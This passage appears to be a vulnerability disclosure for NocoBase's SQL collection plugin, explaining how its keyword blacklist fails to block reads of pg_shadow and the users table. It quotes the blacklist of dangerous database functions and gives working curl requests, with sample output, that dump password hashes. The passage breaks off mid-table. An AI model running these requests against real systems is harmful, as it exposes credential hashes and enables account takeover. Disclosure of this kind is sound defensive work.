# Security Vulnerability Report: Sensitive Data Exposure via SQL Blacklist Bypass ## Summary The `checkSQL()` function in `plugin-collection-sql` implements a **keyword-based blacklist** to prevent dangerous SQL queries from being executed through the SQL Collection feature. However, the blacklist is **incomplete**: it only checks for a subset of dangerous PostgreSQL system functions and **does not restrict access to sensitive system catalog tables** such as `pg_shadow`, `pg_roles`, or `pg_stat_activity`. An authenticated user with the `admin` role can exploit this to **dump PostgreSQL password hashes** (`pg_shadow`), **read all NocoBase user credentials** (hashed passwords from the `users` table), and **enumerate the full database schema** — all data that admin users should never be able to access through the application interface. --- ## Affected Component **File**: `packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts` ```typescript export const checkSQL = (sql: string) => { const dangerKeywords = [ // PostgreSQL — BLOCKED 'pg_read_file', 'pg_read_binary_file', 'pg_stat_file', 'pg_ls_dir', 'pg_logdir_ls', 'pg_terminate_backend', 'pg_cancel_backend', 'current_setting', 'set_config', 'pg_reload_conf', 'pg_sleep', 'generate_series', // MySQL — BLOCKED 'LOAD_FILE', 'BENCHMARK', '@@global.', '@@session.', // SQLite — BLOCKED 'sqlite3_load_extension', 'load_extension', ]; // NOT BLOCKED: pg_shadow, pg_roles, pg_stat_activity, // information_schema, users table direct access, etc. sql = sql.trim().split(';').shift(); if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) { throw new Error('Only supports SELECT statements or WITH clauses'); } if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) { throw new Error('SQL statements contain dangerous keywords'); } }; ``` The `execute` action in `sql.ts` passes user-supplied SQL directly through this insufficient check: ```typescript // sql.ts — execute action execute: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; try { checkSQL(sql); // ← insufficient validation } catch (e) { ctx.throw(400, ctx.t(e.message)); } // SQL is executed directly against the database const data = await model.findAll({ attributes: ['*'], limit: 5, raw: true }); ctx.body = { data, fields, sources }; } ``` --- ## Root Cause The blacklist approach is **fundamentally incomplete**. It attempts to enumerate every dangerous construct but misses entire categories: 1. **PostgreSQL system catalog tables** — `pg_shadow`, `pg_authid`, `pg_roles`, `pg_stat_activity` are not restricted 2. **Application-level sensitive tables** — `users` (containing hashed passwords) can be queried directly 3. **`information_schema`** — full schema enumeration is possible 4. **Schema-qualified variants** — even some blocked functions could be bypassed via `pg_catalog.` prefix (e.g. `pg_catalog.pg_read_file` may bypass checks in older versions) The correct approach is an **allowlist** (whitelist) of permitted tables/schemas, not a blacklist of forbidden keywords. --- ## Steps to Reproduce **Prerequisites**: A user account with the `admin` role (has the `pm.data-source-manager.collection-sql` ACL snippet). **Step 1**: Authenticate and obtain a token: ```bash TOKEN=$(curl -s -X POST http://<TARGET>/api/auth:signIn \ -H "Content-Type: application/json" \ -d '{"email":"[email protected]","password":"<password>"}' \ | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])") ``` **Step 2**: Dump PostgreSQL password hashes from `pg_shadow`: ```bash curl -s -X POST http://<TARGET>/api/sqlCollection:execute \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"sql":"SELECT usename, passwd FROM pg_shadow LIMIT 10"}' ``` **Response**: ```json { "data": { "data": [ { "usename": "nocobase", "passwd": "SCRAM-SHA-256$4096:wmmGvfjPHRDsnzjOfHCmUQ==$fAXKBU7y3Ymmgg0iq6ibc66fN+v3Q7FaX86RgxP0tTY=:enn2dRiXhUQ2N5o4bRtZLNB3B8FpAdKC8Cp3HZ/hSFU=" } ] } } ``` **Step 3**: Dump NocoBase user credentials: ```bash curl -s -X POST http://<TARGET>/api/sqlCollection:execute \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"sql":"SELECT id, email, username, password FROM users LIMIT 100"}' ``` **Response** (verified): ```json { "data": { "data": [ { "id": 1, "email": "[email protected]", "username": "nocobase", "password": "1afc4721f320c4e097ac4aaca33544e7dadcc8cd7d57d40240f987bdbcbc686b" } ] } } ``` --- ## Additional Verified Bypass Queries | Query | Blocked? | Data Exposed | |-------|----------|--------------| | `SELECT usename, passwd FROM pg_shadow` |**Not blocked** | Postgr